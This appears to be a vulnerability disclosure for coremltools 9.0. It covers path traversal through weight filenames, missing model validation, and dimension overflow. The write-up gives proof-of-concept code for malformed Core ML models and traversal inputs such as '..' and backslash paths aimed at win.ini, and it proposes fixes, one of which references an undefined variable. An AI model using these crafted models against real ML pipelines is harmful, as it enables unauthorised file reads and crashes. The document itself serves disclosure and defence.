| # Core ML (coremltools): Model Validation Bypass & Path Traversal |
|
|
| ## Summary |
|
|
| coremltools 9.0's `load_spec()` and `MLModel.__init__()` perform zero structural validation on loaded Core ML models, accepting models with extreme dimensions, weight/dimension mismatches, and invalid spec versions. The MIL proto deserialization's `_load_file_value()` contains a path traversal vulnerability in `BlobFileValue.fileName` handling, allowing malicious models to reference files outside the model's weights directory via `fileName=".."`. |
|
|
| 1. **No Structural Validation**: `load_spec()` parses the protobuf and returns immediately with no content checks — no dimension bounds, no weight count verification, no layer structure validation. |
| 2. **Path Traversal in BlobFileValue.fileName**: Incomplete path sanitization via `.split("/")[-1]` allows `".."` to escape the weights directory. Windows backslash paths bypass the forward-slash split entirely. |
| 3. **Integer Overflow Risk**: `np.prod(shape)` in `_restore_np_from_bytes_value()` has no bounds checking on dimension values from protobuf. |
|
|
| Unlike ONNX (which provides `check_model()` and fixed 6 path traversal CVEs in v1.21.0), coremltools has **no model validation function** and **no path containment checks** on weight file references. |
|
|
| **CVSS 3.1**: 7.1 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
|
|
| ## Tested Context |
|
|
| - Package: `coremltools` |
| - Version: 9.0 |
| - Python: 3.10 |
| - Date: 2026-05-08 |
|
|
| --- |
|
|
| ## Vulnerability 1 (HIGH): Path Traversal in MIL BlobFileValue.fileName |
|
|
| **Location**: `coremltools/converters/mil/frontend/milproto/load.py:113` (`_load_file_value`) |
|
|
| ```python |
| def _load_file_value(context, filevalue_spec, dtype): |
| if BlobReader is None: |
| raise RuntimeError("BlobReader not loaded") |
| if not isinstance(filevalue_spec, proto.MIL_pb2.Value.BlobFileValue): |
| raise TypeError("Invalid BlobFileValue spec object") |
| |
| filename = os.path.join(context.weights_dir, |
| filevalue_spec.fileName.split("/")[-1]) # <-- INCOMPLETE sanitization |
| offset = filevalue_spec.offset |
| |
| blob_reader = BlobReader(filename) # <-- Opens file at attacker-influenced path |
| ``` |
|
|
| The defense `.split("/")[-1]` only extracts the last `/`-delimited component, which fails in two cases: |
| 1. `fileName = ".."` → `split("/")[-1]` = `".."` → `os.path.join(weights_dir, "..")` = parent directory |
| 2. `fileName = "..\\..\\evil"` (Windows) → `split("/")[-1]` = `"..\\..\\evil"` (backslash not split) → escapes |
|
|
| No `os.path.realpath()` containment check is performed. The `BlobReader` (C++) opens the file at the attacker-controlled path without further validation. |
|
|
| ### Why This Matters |
|
|
| When coremltools loads a `.mlpackage` (directory-based model), weight files are referenced via `BlobFileValue.fileName` in the `saved_model.pb` (protobuf). A malicious `.mlpackage` can inject path traversal sequences that escape the weights directory. When the model's weights are loaded, `BlobReader` reads from the attacker-controlled path, enabling arbitrary file read and potential code execution if the file content is interpreted as executable code. |
|
|
| The same vulnerability pattern appears at two additional locations: |
| - `milproto/load.py:318`: `filename = filevalue_spec.fileName.split("/")[-1]` |
| - `milproto/load.py:331`: `filename = filevalue_spec.fileName.split("/")[-1]` |
|
|
| ### Reproduction (Conceptual — requires macOS for full exploitation) |
|
|
| ```python |
| import coremltools as ct |
| from coremltools.proto import Model_pb2, MIL_pb2 |
| import tempfile, os |
| |
| tmpdir = tempfile.mkdtemp() |
| |
| # Create a model with external weight reference |
| spec = Model_pb2.Model() |
| spec.specificationVersion = 1 |
| spec.description.metadata.shortDescription = "malicious" |
| |
| # Configure mlProgram with blob file values |
| program = spec.mlProgram |
| # ... (construct MIL program with BlobFileValue containing fileName="..") |
| |
| # Save as .mlpackage |
| weights_dir = os.path.join(tmpdir, "weights") |
| os.makedirs(weights_dir) |
| ct.models.utils.save_spec(spec, os.path.join(tmpdir, "evil.mlpackage"), |
| weights_dir=weights_dir) |
| |
| # Loading the model would trigger _load_file_value |
| # which opens weights_dir/.. (the parent directory) |
| model = ct.models.MLModel(os.path.join(tmpdir, "evil.mlpackage")) |
| ``` |
|
|
| ### Path Traversal Demonstration (Python logic only) |
|
|
| ```python |
| import os |
| |
| weights_dir = "/tmp/model/weights" |
| |
| # Case 1: fileName = ".." |
| basename = ".." # .split("/")[-1] of ".." |
| result = os.path.join(weights_dir, basename) |
| print(os.path.normpath(result)) # /tmp/model — ESCAPES |
| |
| # Case 2: Windows backslash bypass |
| basename = "..\\..\\Windows\\win.ini" # .split("/")[-1] of same |
| result = os.path.join(weights_dir, basename) |
| print(os.path.normpath(result)) # \tmp\Windows\win.ini — ESCAPES |
| ``` |
|
|
| ### Impact |
|
|
| - Malicious `.mlpackage` files can reference and read arbitrary files outside the model's weights directory |
| - Information disclosure through crafted model files |
| - Potentially arbitrary code execution if read data is interpreted as executable |
| - Affects ML pipelines that load models from untrusted sources |
|
|
| --- |
|
|
| ## Vulnerability 2 (MEDIUM): No Structural Validation on Model Load |
|
|
| **Location**: `coremltools/models/utils.py:238-272` (`load_spec`) |
|
|
| ```python |
| def load_spec(model_path): |
| specfile = model_path |
| spec = _proto.Model_pb2.Model() |
| with open(specfile, "rb") as f: |
| spec.ParseFromString(f.read()) |
| return spec # <-- No validation whatsoever |
| ``` |
|
|
| `load_spec()` and `MLModel.__init__()` perform zero content validation on loaded models: |
|
|
| 1. **No dimension bounds checking** — `inputChannels = 2^31 - 1` accepted |
| 2. **No weight count vs dimension verification** — 5 weight values for 1M×1M declared dims accepted |
| 3. **No spec version validation** — version 999999 accepted |
| 4. **No layer structure validation** — layers with no type set accepted |
| 5. **No `check_model()` equivalent** — Unlike ONNX, no validation function exists |
| |
| ### Reproduction |
| |
| ```python |
| import coremltools as ct |
| from coremltools.proto import Model_pb2 |
| import tempfile, os |
| |
| tmpdir = tempfile.mkdtemp() |
| |
| # PoC A: Extreme dimensions |
| spec = Model_pb2.Model() |
| spec.specificationVersion = 1 |
| nn = spec.neuralNetwork |
| layer = nn.layers.add() |
| layer.name = "fc" |
| layer.input.append("input") |
| layer.output.append("output") |
| layer.innerProduct.inputChannels = 2**31 - 1 # Near INT32_MAX |
| layer.innerProduct.outputChannels = 2**31 - 1 |
|
|
| model_path = os.path.join(tmpdir, "extreme.mlmodel") |
| with open(model_path, "wb") as f: |
| f.write(spec.SerializeToString()) |
| |
| loaded = ct.models.MLModel(model_path) # No error! |
| |
| # PoC B: Weight/dimension mismatch |
| spec2 = Model_pb2.Model() |
| spec2.specificationVersion = 1 |
| nn2 = spec2.neuralNetwork |
| layer2 = nn2.layers.add() |
| layer2.name = "fc2" |
| layer2.input.append("input") |
| layer2.output.append("output") |
| ip = layer2.innerProduct |
| ip.inputChannels = 1000000 |
| ip.outputChannels = 1000000 |
| ip.weights.floatValue.extend([1.0, 2.0, 3.0]) # Only 3 values! |
|
|
| model_path2 = os.path.join(tmpdir, "mismatch.mlmodel") |
| with open(model_path2, "wb") as f: |
| f.write(spec2.SerializeToString()) |
| |
| loaded2 = ct.models.MLModel(model_path2) # No error! |
| |
| # PoC C: Invalid spec version |
| spec3 = Model_pb2.Model() |
| spec3.specificationVersion = 999999 |
|
|
| model_path3 = os.path.join(tmpdir, "future.mlmodel") |
| with open(model_path3, "wb") as f: |
| f.write(spec3.SerializeToString()) |
| |
| loaded3 = ct.models.MLModel(model_path3) # No error! |
| ``` |
| |
| ### Impact |
| |
| - Malicious models with any structure pass loading without error |
| - No way to validate model safety before loading (no `check_model()` / `contains_model()` equivalent) |
| - Models with mismatched dimensions can cause crashes or memory exhaustion in downstream processing |
| - Affects all systems loading Core ML models from untrusted sources |
| |
| --- |
| |
| ## Vulnerability 3 (LOW): Integer Overflow in Dimension Product |
| |
| **Location**: `coremltools/converters/mil/frontend/milproto/load.py:162` (`_restore_np_from_bytes_value`) |
|
|
| ```python |
| def _restore_np_from_bytes_value(value, dtype, shape): |
| element_num = np.prod(shape) # <-- No bounds check on shape values |
| # ... |
| return np.frombuffer(value, types.nptype_from_builtin(dtype)).reshape(shape) |
| ``` |
|
|
| Shape values come directly from protobuf via `helper.py:13` (`dim.constant.size`) with no maximum value check. `np.prod()` can silently overflow for extreme dimensions, leading to undersized allocation or incorrect reshaping. |
|
|
| ### Reproduction |
|
|
| ```python |
| import numpy as np |
| |
| shape = (2**31, 2**31) |
| print(np.prod(shape)) # May overflow depending on platform |
| |
| # With extreme dimension from protobuf: |
| # dim1.size = 2**32, dim2.size = 2**31 |
| # Product = 2**63 which exceeds INT64_MAX, causes integer overflow |
| ``` |
|
|
| --- |
|
|
| ## Comparison: ONNX vs Core ML Validation |
|
|
| | Feature | ONNX 1.21.0 | Core ML (coremltools 9.0) | |
| |---------|-------------|---------------------------| |
| | `check_model()` function | Yes | **No** | |
| | Dimension bounds check | Yes | **No** | |
| | Weight size vs dims check | Partial (in `check_tensor`) | **No** | |
| | Path containment for external data | Yes (v1.21.0) | **No** | |
| | Spec version validation | Yes (IR version check) | **No** (only if native libs load) | |
| | Structural integrity check | Yes | **No** (validate() is DEBUG-gated) | |
| | Symlink/hardlink validation | Yes (v1.21.0) | **No** | |
|
|
| --- |
|
|
| ## Fixes |
|
|
| ### 1) Validate asset filenames against path traversal: |
|
|
| ```python |
| def _validate_weight_filename(weights_dir, filename): |
| """Validate that weight filename does not escape the weights directory.""" |
| # Reject filenames that are just ".." or contain path separators |
| basename = filename.split("/")[-1] |
| if basename == ".." or os.sep in basename or "/" in basename: |
| raise ValueError( |
| f"Invalid weight filename: {filename!r} contains path traversal" |
| ) |
| full_path = os.path.realpath(os.path.join(weights_dir, basename)) |
| expected_dir = os.path.realpath(weights_dir) |
| if not full_path.startswith(expected_dir + os.sep) and full_path != expected_dir: |
| raise ValueError( |
| f"Weight file path escapes model directory: {full_path}" |
| ) |
| return full_path |
| ``` |
|
|
| ### 2) Add structural validation to load_spec(): |
| |
| ```python |
| def load_spec(model_path, validate=True): |
| spec = _proto.Model_pb2.Model() |
| with open(specfile, "rb") as f: |
| spec.ParseFromString(f.read()) |
| if validate: |
| _check_model(spec) |
| return spec |
| |
| def _check_model(spec): |
| """Validate structural integrity of a Core ML model spec.""" |
| # Check spec version is supported |
| if spec.specificationVersion > CURRENT_SPEC_VERSION: |
| raise ValueError(f"Unsupported specification version: {spec.specificationVersion}") |
| |
| # Validate neural network layers |
| if spec.WhichOneof("Type") == "neuralNetwork": |
| for layer in spec.neuralNetwork.layers: |
| if layer.WhichOneof("layer") is None: |
| raise ValueError("Layer has no type set") |
| _validate_layer_params(layer) |
|
|
| def _validate_layer_params(layer): |
| """Validate layer parameters for safety.""" |
| layer_type = layer.WhichOneof("layer") |
| if layer_type == "innerProduct": |
| ip = layer.innerProduct |
| if ip.inputChannels == 0 or ip.outputChannels == 0: |
| raise ValueError("InnerProduct channels must be > 0") |
| if ip.inputChannels > MAX_DIM or ip.outputChannels > MAX_DIM: |
| raise ValueError(f"InnerProduct dimensions exceed max ({MAX_DIM})") |
| # Validate weight count matches dimensions |
| expected = ip.inputChannels * ip.outputChannels |
| if len(ip.weights.floatValue) not in (0, expected): |
| raise ValueError(f"Weight count mismatch: got {len(ip.weights.floatValue)}, expected {expected}") |
| ``` |
| |
| ### 3) Add bounds check on dimension product: |
|
|
| ```python |
| def _restore_np_from_bytes_value(value, dtype, shape): |
| # Validate shape |
| for dim in shape: |
| if dim < 0 or dim > MAX_TENSOR_DIM: |
| raise ValueError(f"Dimension {dim} out of valid range") |
| element_num = np.prod(shape) |
| if element_num > MAX_TENSOR_ELEMENTS: |
| raise ValueError(f"Tensor element count {element_num} exceeds maximum") |
| # ... |
| ``` |
|
|
| --- |
|
|
| ## Notes |
|
|
| - The path traversal vulnerability (Vuln 1) is similar in nature to the ONNX external data path traversal CVEs (GHSA-538c-55jv-c5g9) fixed in ONNX 1.21.0 |
| - coremltools is Apple's reference implementation for the Core ML format — vulnerabilities affect all tools that load Core ML models |
| - The `.mlpackage` format (directory with separate weight files) is more susceptible to path traversal than `.mlmodel` (single file with embedded weights) |
| - Native components (`libcoremlpython`, `libmilstoragepython`, `libmodelpackage`) are only available on macOS, limiting exploitability of some paths on other platforms |
| - The `validate()` method exists in the MIL pipeline but is gated behind `DEBUG=True` flag and is never called during model loading |
|
|